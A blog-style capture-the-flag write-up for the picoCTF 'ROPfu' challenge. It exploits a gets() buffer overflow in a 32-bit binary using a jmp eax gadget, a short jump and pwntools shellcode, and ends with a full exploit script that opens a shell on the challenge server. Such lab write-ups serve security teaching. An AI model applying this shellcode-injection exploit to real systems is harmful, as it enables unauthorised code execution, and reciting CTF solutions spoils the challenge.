user@sys

[m3rcurylake.mov]

[wired]

[user@sys]#>>

cat "Ropfu.r3m"_

@Ropfu

/October 21, 2025/

When I first cracked open the source for ROPfu, I was greeted with almost nothing. The binary was basically a single gets() call. That’s already a giant red flag: gets() is one of the classic unsafe functions in C, and here it’s basically handing us a buffer overflow on a silver platter.

Step 1: Finding the Offset

Since the binary didn’t have any helper functions to directly leak flag.txt, the plan was clear: exploit the overflow and craft our own control flow.

Using gdb-gef, I generated a cyclic pattern with:

pattern create 200

and then after crashing the program, I used:

pattern offset $eip

This gave me an offset of 28. Perfect—now I know exactly how many bytes it takes to overwrite EIP.

Step 2: Scouting for Gadgets

The binary had no direct system() or file-read helper functions, so I needed to rely on Return-Oriented Programming (ROP). Using ROPgadget, I searched for jumps into registers:

ROPgadget --binary vuln | grep "jmp e"

The output was:

0x0805333b : jmp eax
0x080567f2 : jmp ebp
0x08061205 : jmp ebx
0x0804f63e : jmp ecx
0x0804a893 : jmp edi
0x08049bcc : jmp edx
0x080a6270 : jmp esi

Noticeably, nothing to directly pivot into esp. But the jmp eax stood out as the perfect trampoline because of the 32-bit calling conventions. The payload was already getting pushed to the eax. So if I could control eax, I could redirect execution into my own shellcode living on the stack.

Step 3: First Payload Test

I built a simple test payload to confirm control:

b"A"*28 + pwn.p32(0x0805333b) + b"C"*100

Here, 0x0805333b is the jmp eax.

Inside gdb, I set a breakpoint at 0x0805333b and stepped through execution. What I saw was interesting:

0xffffcd08    inc    ecx
0xffffcd09    inc    ecx
0xffffcd0a    inc    ecx
0xffffcd0b    inc    ecx   ; opcode of "inc ecx" = b"A"

0xffffcd0c    cmp    esi, DWORD PTR [ebx]
0xffffcd0e    add    eax, 0x43434308 ; junk instruction from our payload

0xffffcd13    inc    ebx
0xffffcd14    inc    ebx
0xffffcd15    inc    ebx   ; opcode of "inc ebx" = b"C"

So what happened? The injected address (0x0805333b) itself got treated as part of the shellcode, leading to corrupted flow. Essentially, junk bytes were messing with execution.

Step 4: Skipping the Junk

The fix was simple but clever: insert a short jump to skip over the junk bytes. A quick search told me that EB 08 represents a jmp +8.

To confirm in pwntools:

>>> print(pwn.disasm(b"\xeb\x08"))
0:   eb 08     jmp    0xa

Perfect. So I shaved off 2 bytes of padding and slipped the short jump before the trampoline.

Payload now looked like this:

b"A"*26 + b"\xeb\x08" + pwn.p32(0x0805333b) + b"C"*100

This way, when execution reaches our buffer, the short jump (\xeb\x08) skips over the junk and lands neatly into our controlled space.

Step 5: Shellcode & Final Exploit

With execution flow stable, it was time to drop in actual shellcode. Pwntools makes this easy with its built-in Linux shell generator:

pwn.shellcraft.i386.linux.sh()

Final exploit script:

import pwn

rop_gadget = pwn.p32(0x0805333b)   # jmp eax
jmp_over_ins = b'\xeb\x08'         # short jump +8
shellcode = pwn.asm(pwn.shellcraft.i386.linux.sh())

payload = b"".join([
        b"\x90"*26,       # NOP sled
        jmp_over_ins, 
        rop_gadget,
        shellcode
    ])

with open("payload", "wb") as f:
    f.write(payload)

p = pwn.remote('saturn.picoctf.net', 53441)
p.sendline(payload)
p.interactive()

[~Ankit Mukherjee]